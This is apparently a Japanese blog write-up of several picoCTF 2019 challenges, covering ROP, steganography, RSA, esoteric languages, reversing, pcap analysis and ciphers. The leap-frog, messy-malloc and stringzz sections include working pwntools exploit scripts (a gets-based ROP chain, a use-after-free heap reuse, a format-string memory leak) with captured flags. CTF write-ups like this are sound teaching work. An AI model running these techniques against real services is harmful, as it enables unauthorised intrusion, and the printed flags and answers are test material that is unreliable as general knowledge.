getsを使って win1~win3 を書き換えるパターン
各関数をradare2で覗いてみると、win1,2,3
(いずれもglobal)は下記のアドレスであることがわかります。
win1: 0x0804a03d win2: 0x0804a03e win3: 0x0804a03f
また、今回vuln()
関数の中で使われているgets()
関数ですが、こんな仕様。
char *gets(char *s); パラメータ 説明 char *s データを格納するアドレス
ということで、gets()
関数を、引数にwin1
のアドレスを指定して呼び出すと、win1~3
に好きな値を入れることができそう。
これを組むとこんな感じ。
0x18 + 0x4 | payload 0x4 | address plt_gets() 0x4 | address disp_flag() 0x4 | address win1 # gets()の引数として
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * gets_plt_addr = e.plt[b'gets'] win1_addr = e.symbols[b'win1'] disp_flag_addr = e.symbols[b'display_flag'] payload = b'a' * (0x18 + 4) payload += p32(gets_plt_addr) payload += p32(disp_flag_addr) payload += p32(win1_addr) print(b'(echo -e "' + payload + b'"; cat) | ./rop')
実行結果
$ python solve2.py (中略) b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa0\x84\x04\x08\xb3\x86\x04\x08=\xa0\x04\x08"; cat) | ./rop'
これを picoCTF の shell server 上で実行してみます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa0\x84\x04\x08\xb3\x86\x04\x08=\xa0\x04\x08"; cat) | ./rop Enter your input> 111 picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_0db32718}
途中で手作業が入りますが、111
を入力するとflagが出力されました٩(๑❛ᴗ❛๑)尸
この方法は色々すぐに使えそう。
真面目に rop を組む解法は2つほどwriteupを見つけましたが、300ptの解き方なのかかなり疑問…。去年の 350pt 問題をちょっとひねったら700点問題になっちゃった感じが...。私がPwn苦手だからかな…。
参考にさせていただいたwriteup
ゴリゴリchainを組んでるっぽいやつ
- picoCTF 2019 write-up - Qiita
- これは上記の解法より更に細かく、1命令ごとに呼び出して組み立ててます…。見つけてくるのすごい…。
- CTFs/leap-frog.md at master · Dvd848/CTFs · GitHub
getsを使って解いているやつ
- picoCTF 2019 writeup - yuta1024's diary
- PicoCTF 2019 Writeup: Binary Exploitation · Alan's Blog
- picoctf-2019-solutions/Binary Exploitation/leap-frog at master · noahc3/picoctf-2019-solutions · GitHub
- picoCTF 2019 - Binary Exploitation : leap-frog
- c - Why does this exploit require two separate payload injections rather than one? - Stack Overflow
↑あきらかにgets
を使って解いてるやつが多い。
picoCTFはヒントが親切でミスリードさせに来る感じじゃないと勝手に思ってるんだけど、今回のはどうなんだろう?NewOverflow2も、想定解法っぽいwriteup見つからなかったし。
そう言えば回収していない "mainをいつでも呼び出せるよ!" のヒントを使って解いた人いるのかな?
[Forensics] m00nwalk2 (300pt)
Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_3_cb4b7c47a2855206a42ef71363613bce.
Hints
Use the clues to extract the another flag from the .wav file
m00nwalkを解いたら出てきました。
前回同様、message.wav
と、今回は追加でclue1.wav
,clue2.wav
,clue3.wav
が配布されます。
message.wav
、耳で聞いた感じだと前回のと一緒。
実際同様にSSTV解析アプリででDecodeしてみても、同じような結果が得られました。
ヒントより、cluesを使って、別のflagを抽出しろとのこと。ふーむ?
重ねて再生するのかな?ということで全部を同時に再生してみましたが、SSTV解析アプリでうまく拾えません。 2つ重ねると拾ってくれたりしましたが、そもそも音声データの長さが異なります。
ならばと1音声ずつSSTV解析して画像に直してみましたが、これ重ねても何も出なさそうだな?
そう言えばそれぞれの受信を初めた時点で、アプリが下記のプロトコルだと認識していました。
- massage: scottie1
- clue1: martin1
- clue2: scottie2
- clue3: martin2
他のwriteupを見てみると、macは見つかりませんでしたが、linuxでも解析できるツールがあるみたいです。今回は qsstv
を使ってみます。sstv decode
でググると、上位に出てくるサイト https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04 を見ながら、上から順に設定していきます。ちなみにkali linuxでやりましたが、この手順で問題ありませんでした。
decode風景
decode結果
message.wav
clue1.wav
clue2.wav
clue3.wav
えー、めっちゃきれいに出るじゃん!しかも変換中に自分の出す音に気をつけなくてもいいし、最高。
最後のヒント
Alan Eliasen the FutureBoy
で検索すると、こんなページが見つかりました。
Alan Eliasen
ここの Steganography
> Decode an image
をたどると、Steganographic Decoder というサイトに。
オンラインでステガノ解析してくれるようです。clue1のpasswordを入れて、解析対象にmessage.wav
を指定すると、しばらく解析したのちにflagが出てきました!
[Binary] messy-malloc (300pt)
Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 12286. Source.
Hints
If only the program used calloc to zero out the memory..
実行ファイルauth
と、ソースコードauth.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define LINE_MAX 256 #define ACCESS_CODE_LEN 16 #define FLAG_SIZE 64 struct user { char *username; char access_code[ACCESS_CODE_LEN]; char *files; }; struct user anon_user; struct user *u; void print_flag() { char flag[FLAG_SIZE]; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("Please make sure flag.txt exists\n"); exit(0); } if ((fgets(flag, FLAG_SIZE, f)) == NULL){ puts("Couldn't read flag file."); exit(1); }; unsigned long ac1 = ((unsigned long *)u->access_code)[0]; unsigned long ac2 = ((unsigned long *)u->access_code)[1]; if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) { fprintf(stdout, "Incorrect Access Code: \""); for (int i = 0; i < ACCESS_CODE_LEN; i++) { putchar(u->access_code[i]); } fprintf(stdout, "\"\n"); return; } puts(flag); fclose(f); } void menu() { puts("Commands:"); puts("\tlogin - login as a user"); puts("\tprint-flag - print the flag"); puts("\tlogout - log out"); puts("\tquit - exit the program"); } const char *get_username(struct user *u) { if (u->username == NULL) { return "anon"; } else { return u->username; } } int login() { u = malloc(sizeof(struct user)); int username_len; puts("Please enter the length of your username"); scanf("%d", &username_len); getc(stdin); char *username = malloc(username_len+1); u->username = username; puts("Please enter your username"); if (fgets(username, username_len, stdin) == NULL) { puts("fgets failed"); exit(-1); } char *end; if ((end=strchr(username, '\n')) != NULL) { end[0] = '\0'; } return 0; } int logout() { char *user = u->username; if (u == &anon_user) { return -1; } else { free(u); free(user); u = &anon_user; } return 0; } int main(int argc, char **argv) { setbuf(stdout, NULL); char buf[LINE_MAX]; memset(anon_user.access_code, 0, ACCESS_CODE_LEN); anon_user.username = NULL; u = &anon_user; menu(); while(1) { puts("\nEnter your command:"); fprintf(stdout, "[%s]> ", get_username(u)); if(fgets(buf, LINE_MAX, stdin) == NULL) break; if (!strncmp(buf, "login", 5)){ login(); } else if(!strncmp(buf, "print-flag", 10)){ print_flag(); } else if(!strncmp(buf, "logout", 6)){ logout(); } else if(!strncmp(buf, "quit", 4)){ return 0; } else{ puts("Invalid option"); menu(); } } }
ちょっと動かしてみます。
$ ./auth Commands: login - login as a user print-flag - print the flag logout - log out quit - exit the program Enter your command: [anon]>
以下の4つの機能があるみたいです。
- login
- print-flag
- logout
- quit
まずはprint-flag
関数を見てみます。
(略) unsigned long ac1 = ((unsigned long *)u->access_code)[0]; unsigned long ac2 = ((unsigned long *)u->access_code)[1]; if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) { fprintf(stdout, "Incorrect Access Code: \""); for (int i = 0; i < ACCESS_CODE_LEN; i++) { putchar(u->access_code[i]); } fprintf(stdout, "\"\n"); return; } puts(flag); fclose(f);
なにやらaccess_code
というものが出てきています。これらが適切に設定されている必要があるみたいです。
これを設定する関数は用意されていないので、BufferOverflowとかを利用して無理くり設定してあげる必要がありそう。
残る関数のlogin()
関数では、user
領域をまずmallocし、username
領域を別にmallocしています。username
を入れる時にBufferOverflowが使えるかと思ったのですが、fgets()
関数で、指定した長さ分のみ入力を受け付けるようになっているので、確保した領域以上には書き込みができなさそうです…。
ここで picoCTF2018 sword や Contacts を思い出します。同じような解法で解けそう!
最初の login 時に、自由に設定できるusername
にuser
の構造を作って突っ込んでおき、logout 時にusername
領域が最後に開放されるようになっていると、次に login を実行した時にuser
領域に最後に解放した領域が確保されるので、初期化されないaccess_code
部分がそのまま使えるのでは?(User After Free)
と長い考察をした後、logout
関数を見てみるとビンゴで、username
が最後にfreeされるようになっています。
更にaccess_code
に当たる領域に上記のcheckをpassするような値を突っ込んでおけば、print-flag
を実行するとflagを読み出してくれるはず…!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * from ctypes import * host = '2019shell1.picoctf.com' port = 12286 ACCESS_CODE_LEN = 16 ac1 = 0x4343415f544f4f52 # CCA_TOOR (in ascii) ac2 = 0x45444f435f535345 # EDOC_SSE (in ascii) context.log_level = 'info' class user_s(Structure): _fields_ = [('username', c_char_p), ('access_code', c_long * 2), # filesは使用しないので、今回使う2までに短縮 ('files', c_char_p)] def create_user_s(name, acs): user = user_s() user.username = name user.access_code = (c_long * len(acs))(*acs) return user def recv_menu(): log.debug(r.recvuntil(b'> ')) def login(username_len, username): recv_menu() log.info(b'login: ' + (str(username_len)).encode() + b', ' + username) r.sendline(b'login') r.recvuntil(b'Please enter the length of your username') r.sendline((str(username_len)).encode()) r.recvuntil(b'Please enter your username') r.sendline(username) recv_menu() def print_flag(): recv_menu() log.info('print-flag') r.sendline(b'print-flag') print(r.recvline()) def logout(): recv_menu() log.info('logout') r.sendline(b'logout') ### prepare target = ELF('./auth') r = remote(host, port) ### create user struct acs = [ac1, ac2] user1 = create_user_s(0, acs) ### attack login(sizeof(user1)+1, memoryview(user1).tobytes()) logout() login(2, b'0') # てきとう print_flag()
実行結果
$ python solve.py [*] '/picoCTF_2019/Binary/300_messy-malloc/auth' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE FORTIFY: Enabled [+] Opening connection to 2019shell1.picoctf.com on port 12286: Done [*] b'login: 33, \x00\x00\x00\x00\x00\x00\x00\x00ROOT_ACCESS_CODE\x00\x00\x00\x00\x00\x00\x00\x00' [*] logout [*] b'login: 2, 0' [*] print-flag b'picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}\n' [*] Closed connection to 2019shell1.picoctf.com port 12286
えー!!きれいにflag取れたよー!!!!!これ系の問題でノーヒント・ノー他のwriteupでflag取れたの初めてかも!!!!やったーーーーー。゚(゚´Д`゚)゚。
[Crypto] miniRSA (300pt)
Lets decrypt this: ciphertext? Something seems a bit small
下記の ciphertext が配布されます。
N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673 e: 3 ciphertext (c): 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125
Something seems a bit small
とのことですが、e=3
なので小さすぎる気がします。いつものスライド RSA暗号運用でやってはいけない n のこと #ssmjp のその6「eの値が小さすぎてはいけない」 より、Low Public Exponent Attackが使えそうです。
𝑛 が共に小さく( 𝑒 = 3など)、 𝑚^𝑒 < 𝑛 のとき、 𝑐 の 𝑒 乗根を計算することで m が求まる
とのことなので、c
の e
乗根を計算します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import gmpy2 e = 3 c = 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125 m, result = gmpy2.iroot(c,e) if result: flag = bytes.fromhex(hex(m)[2:]).decode('ascii') print(flag)
実行結果
$ python solve.py picoCTF{n33d_a_lArg3r_e_ff7cfba1}
Nなんていらんかったんや・・・
[General] mus1c (300pt)
I wrote you a song. Put it in the picoCTF{} flag format
Hints
Do you think you can master rockstar?
こんな歌詞っぽいのが書かれたファイルが落とせます。
Pico's a CTFFFFFFF my mind is waitin It's waitin Put my mind of Pico into This my flag is not found put This into my flag put my flag into Pico shout Pico shout Pico shout Pico My song's something put Pico into This Knock This down, down, down put This into CTF shout CTF my lyric is nothing Put This without my song into my lyric Knock my lyric down, down, down shout my lyric Put my lyric into This Put my song with This into my lyric Knock my lyric down shout my lyric Build my lyric up, up ,up shout my lyric shout Pico shout It Pico CTF is fun security is important Fun is fun Put security with fun into Pico CTF Build Fun up shout fun times Pico CTF put fun times Pico CTF into my song build it up shout it shout it build it up, up shout it shout Pico
さっぱりわからんので、こういう時は迷わずヒントを見ます。rockstar
をマスターした?rockstarとは何ぞ?
ぐぐってみるとこんな言語にたどり着きました。
うーん、COOOOOL!!!
KaiserRuby
というrubyライブラリがあるようなのでインストールしてrubyに翻訳してみます。
$ gem install kaiser-ruby $ gem install bundler $ gem install pry $ kaiser-ruby transpile lyrics.txt > output.rb
こんな出力になりました。
@pico = 19 @my_mind = 6 @my_mind = 6 @this = @my_mind * @pico @my_flag = 35 @my_flag = @this @pico = @my_flag puts (@pico).to_s puts (@pico).to_s puts (@pico).to_s @my_song = 9 @this = @pico @this -= 3 @ctf = @this puts (@ctf).to_s @my_lyric = nil @my_lyric = @this - @my_song @my_lyric -= 3 puts (@my_lyric).to_s @this = @my_lyric @my_lyric = @my_song + @this @my_lyric -= 1 puts (@my_lyric).to_s @my_lyric += 3 puts (@my_lyric).to_s puts (@pico).to_s puts (@my_lyric).to_s @pico_ctf = 3 @security = 9 @fun = 3 @pico_ctf = @security + @fun @fun += 1 puts (@fun * @pico_ctf).to_s @my_song = @fun * @pico_ctf @my_song += 1 puts (@my_song).to_s puts (@my_song).to_s @my_song += 2 puts (@my_song).to_s puts (@pico).to_s
実行してみるとこんな感じ。
$ ruby output.rb 114 114 114 111 99 107 110 114 110 48 49 49 51 114
これをascii変換してやると、flag通りました!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- arr = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114] flag = '' for n in arr: flag += chr(n) print('picoCTF{' + flag + '}')
実行結果
$ python solve.py picoCTF{rrrocknrn0113r}
ロックンローラー!!!!whitespaceといい、これといい、面白い言語があるなぁ!
[Reversing] reverse_cipher (300pt)
We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server.
Hints
objdump and Gihdra are some tools that could assist with this
GhidraがpicoCTFにもおすすめされているっ!
バイナリファイルとテキストファイルが配布されます。テキストの方はこちら。
$ cat rev_this picoCTF{w1{1wq87g_9654g}
フラグじゃん!と思って入れてみますが、もちろん通りません。Ghidraで解析してみます。
decompileしてもらって結果を見てみます。変数名がわかりにくかったので変数名だけ書き換えるとこんな感じ。
void main(void) { size_t len_str_flag; char flag [23]; char len_target; int len_flag; FILE *f_target; FILE *f_flag; uint i; int i; char c; f_flag = fopen("f_flag.txt","r"); f_target = fopen("rev_this","a"); if (f_flag == (FILE *)0x0) { puts("No f_flag found, please make sure this is run on the server"); } if (f_target == (FILE *)0x0) { puts("please run this on the server"); } len_str_flag = fread(flag, 0x18, 1, f_flag); len_flag = (int)len_str_flag; if (len_flag < 1) { /* WARNING: Subroutine does not return */ exit(0); } i = 0; while (i < 8) { c = flag[(long)i]; fputc((int)c,f_target); i = i + 1; } i = 8; while ((int)i < 0x17) { // 0x17 = 23d if ((i & 1) == 0) { c = flag[(long)(int)i] + '\x05'; } else { c = flag[(long)(int)i] + -2; } fputc((int)c,f_target); i = i + 1; } c = len_target; fputc((int)len_target,f_target); fclose(f_target); fclose(f_flag); return; }
flag.txt
の8文字目以降が、-2
もしくは+5
されて、rev_this.txt
に書かれたようです。
逆変換してあげます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- rev_this = 'picoCTF{w1{1wq87g_9654g}' flag = 'picoCTF{' for i in range(8, len(rev_this)-1): if (i & 1) == 0: flag += chr(ord(rev_this[i])-5) else: flag += chr(ord(rev_this[i]) + 2) print(flag + '}')
実行結果
$ python solve.py picoCTF{r3v3rs39ba4806b}
[Forensics] shark on wire 2 (300pt)
We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.
またpcap
ファイルが落ちてくるので、wiresharkで開いてみます。
今回は1300行くらい。前回の半分です。でも多い…。手始めに、前回同様すべての通信をtextで書き出してみます。
前回(shark on wire 1)と同じ方法でflagを得ようとすると、not a flag 的なのが入手できます。これじゃないみたい。
UDPの通信を抽出して眺めていると、start
, end
という文字列が目に入りました。
その間のUDP通信は、データがaaaaa
とかBBBBB
とかなのでデータ部分はflagにはなりそうにありません。1件ずつボーッと眺めていくと、どうもSrc Port
のバリエーションが多すぎる気がします。一方、Dst Port
は 22
,100
,80
,1234
の4つくらいのバリエーションです。
Src Port
を追っていくと、
5112 5105 5099 5111 ...
...!!これは見たことある数値の並び!
112
はasciiに直すとp
,105
はi
, 99
はc
, 111
はo
じゃないですか!
ということで、試行錯誤の結果、下記のフィルタ(wireshark)で取得できた通信のSrc Port
の下三桁をasciiに変換してあげるとflagになりました。
udp.port == 22
私はここで得られたフィルタされた通信のリストをTextで書き出し、テキストエディタで整形・抽出して下記のスクリプトのinputを作っています。が、使いこなしていればwiresharkだけで出来たりするのかな?
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ports = [112 ,105 ,99 ,111 ,67 ,84 ,70 ,123 ,112 ,49 ,76 ,76 ,102 ,51 ,114 ,51 ,100 ,95 ,100 ,97 ,116 ,97 ,95 ,118 ,49 ,97 ,95 ,115 ,116 ,51 ,103 ,48 ,125] flag = '' for p in ports: flag += chr(p) print(flag)
実行結果
$ python solve.py picoCTF{p1LLf3r3d_data_v1a_st3g0}
[Binary] stringzz (300pt)
Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 on the shell server. Source.
実行ファイルvuln
と、ソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #define FLAG_BUFFER 128 #define LINE_BUFFER_SIZE 2000 void printMessage3(char *in) { puts("will be printed:\n"); printf(in); } void printMessage2(char *in) { puts("your input "); printMessage3(in); } void printMessage1(char *in) { puts("Now "); printMessage2(in); } int main (int argc, char **argv) { puts("input whatever string you want; then it will be printed back:\n"); int read; unsigned int len; char *input = NULL; getline(&input, &len, stdin); //There is no win function, but the flag is wandering in the memory! char * buf = malloc(sizeof(char)*FLAG_BUFFER); FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); printMessage1(input); fflush(stdout); }
タイトルからして、format string 攻撃の予感です。
試しに %08x
を送ってみると、明らかに刺さっています!
$ ./vuln input whatever string you want; then it will be printed back: %08x%08x%08x%08x%08x%08x%08x%08x Now your input will be printed: 0000000af7e1236b565946f9f7f8000056595fb4ffbc5b085659475556a5c570
似た問題が picoCTF2018 echooo に出ていました。結局解法が全く一緒だったので、詳細な解説はこちらを参照。今回は使ったスクリプトのみ紹介。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010') for i in range(1000): print('index: ' + str(i)) attack_msg = b'%%%d$s' % i p = pico_ssh.process('./vuln') p.recvuntil(b'then it will be printed back:\n\n') p.sendline(attack_msg) p.recvuntil(b'Now \nyour input \nwill be printed:\n\n') res = '' try: res = p.recv().decode() print('decoded: ' + res) except: print('can not decode res message.') finally: p.close() if 'picoCTF' in res: break
実行結果
$ python solve.py (中略) index: 37 [+] Opening new channel: execve(b'./vuln', [b'./vuln'], os.environ): Done decoded: picoCTF{str1nG_CH3353_0814bc7c}
37番目に出てきました。
[Reversing] vault-door-5 (300pt)
In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java
またしてもjavaファイルが配布されます。
import java.net.URLDecoder; import java.util.*; class VaultDoor5 { public static void main(String args[]) { VaultDoor5 vaultDoor = new VaultDoor5(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Minion #7781 used base 8 and base 16, but this is base 64, which is // like... eight times stronger, right? Riiigghtt? Well that's what my twin // brother Minion #2415 says, anyway. // // -Minion #2414 public String base64Encode(byte[] input) { return Base64.getEncoder().encodeToString(input); } // URL encoding is meant for web pages, so any double agent spies who steal // our source code will think this is a web site or something, defintely not // vault door! Oh wait, should I have not said that in a source code // comment? // // -Minion #2415 public String urlEncode(byte[] input) { StringBuffer buf = new StringBuffer(); for (int i=0; i<input.length; i++) { buf.append(String.format("%%%2x", input[i])); } return buf.toString(); } public boolean checkPassword(String password) { String urlEncoded = urlEncode(password.getBytes()); String base64Encoded = base64Encode(urlEncoded.getBytes()); String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm" + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2" + "JTM0JTVmJTY0JTYxJTM4JTM4JTMyJTY0JTMwJTMx"; return base64Encoded.equals(expected); } }
ソースコード中のコメントを見ると、base64を使っているそうです。base8に比べたら8倍強いんでしょ?だって(゚ノ∀`゚)゚
urlエンコードの行のコメントも秀逸。
今回もcheckPasswird
関数を見ていきます。base64Encode(urlEncoded.getBytes())
舌文字列が、expected
と同じかどうかをチェックしているので、expected
の文字列をbase64 decode -> url decodeしてあげれば良さそう。今回もオンラインサイトで。
- base64 decode: Base64 Decode and Encode - Online
- url decode: URLエンコード・デコード|日本語URLをサクッと変換 | すぐに使える便利なWEBツール | Tech-Unlimited
実行結果
base64 decode: %63%30%6e%76%33%72%74%31%6e%67%5f%66%72%30%6d%5f%62%61%35%65%5f%36%34%5f%64%61%38%38%32%64%30%31 url encode: c0nv3rt1ng_fr0m_ba5e_64_da882d01
url encode結果がflagの中身。
[Crypto] waves over lambda (300pt)
We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 37925.
指定のホストに接続してみます。
$ nc 2019shell1.picoctf.com 37925 ------------------------------------------------------------------------------- jchuwrzm niwi dm lctw oqru - owigtihjl_dm_j_ceiw_qrfyar_frwmykxcxw ------------------------------------------------------------------------------- nredhu nra mcfi zdfi rz fl admxcmrq knih dh qchach, d nra edmdzia zni ywdzdmn ftmitf, rha frai mirwjn rfchu zni yccpm rha frxm dh zni qdywrwl wiurwadhu zwrhmlqerhdr; dz nra mzwtjp fi znrz mcfi ocwiphckqiaui co zni jcthzwl jctqa nrwaql ordq zc nrei mcfi dfxcwzrhji dh airqdhu kdzn r hcyqifrh co znrz jcthzwl. d odha znrz zni admzwdjz ni hrfia dm dh zni iszwifi irmz co zni jcthzwl, vtmz ch zni ycwaiwm co znwii mzrzim, zwrhmlqerhdr, fcqaredr rha ytpcedhr, dh zni fdamz co zni jrwxrzndrh fcthzrdhm; chi co zni kdqaimz rha qirmz phckh xcwzdchm co itwcxi. d krm hcz ryqi zc qdunz ch rhl frx cw kcwp udedhu zni isrjz qcjrqdzl co zni jrmzqi awrjtqr, rm zniwi rwi hc frxm co zndm jcthzwl rm liz zc jcfxrwi kdzn ctw ckh cwahrhji mtweil frxm; ytz d octha znrz ydmzwdzb, zni xcmz zckh hrfia yl jcthz awrjtqr, dm r ordwql kiqq-phckh xqrji. d mnrqq ihziw niwi mcfi co fl hczim, rm znil frl wiowimn fl fifcwl knih d zrqp ceiw fl zwreiqm kdzn fdhr.
おお、これも換字暗号っぽい!いつも気合で解くやつだ。ツールも探せばありそうだけど、せっかくなので気合で解いてみます。
頻度分析 (暗号) - Wikipedia このページなんかをいつも参考にしています。
まず、一文字の単語は I
かa
, 出現頻度の高い3文字の単語はthe
の可能性が高いです。
d -> I r -> A z -> T n -> H i -> E
ここまで変換したところで、
HEwE
, THEwE
, THwEE
が見つかるので,
w -> R
この調子で変換していきます。
f -> M a -> D l -> Y c -> O h -> N e -> V u -> G m -> S q -> L o -> F j -> C t -> U g -> Q y -> B p -> K x -> P k -> W s -> X v -> J b -> Z
最終的にこんな文章が出てきました。
-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - FREQUENCY_IS_C_OVER_LAMBDA_MARSBWPOPR
-------------------------------------------------------------------------------
HAVING HAD SOME TIME AT MY DISPOSAL WHEN IN LONDON, I HAD VISITED THE BRITISH MUSEUM, AND MADE SEARCH AMONG THE BOOKS AND MAPS IN THE LIBRARY REGARDING TRANSYLVANIA; IT HAD STRUCK ME THAT SOME FOREKNOWLEDGE OF THE COUNTRY COULD HARDLY FAIL TO HAVE SOME IMPORTANCE IN DEALING WITH A NOBLEMAN OF THAT COUNTRY. I FIND THAT THE DISTRICT HE NAMED IS IN THE EXTREME EAST OF THE COUNTRY, JUST ON THE BORDERS OF THREE STATES, TRANSYLVANIA, MOLDAVIA AND BUKOVINA, IN THE MIDST OF THE CARPATHIAN MOUNTAINS; ONE OF THE WILDEST AND LEAST KNOWN PORTIONS OF EUROPE. I WAS NOT ABLE TO LIGHT ON ANY MAP OR WORK GIVING THE EXACT LOCALITY OF THE CASTLE DRACULA, AS THERE ARE NO MAPS OF THIS COUNTRY AS YET TO COMPARE WITH OUR OWN ORDNANCE SURVEY MAPS; BUT I FOUND THAT BISTRITZ, THE POST TOWN NAMED BY COUNT DRACULA, IS A FAIRLY WELL-KNOWN PLACE. I SHALL ENTER HERE SOME OF MY NOTES, AS THEY MAY REFRESH MY MEMORY WHEN I TALK OVER MY TRAVELS WITH MINA.
※flagは大文字だと通らなかったので、小文字にして通しました。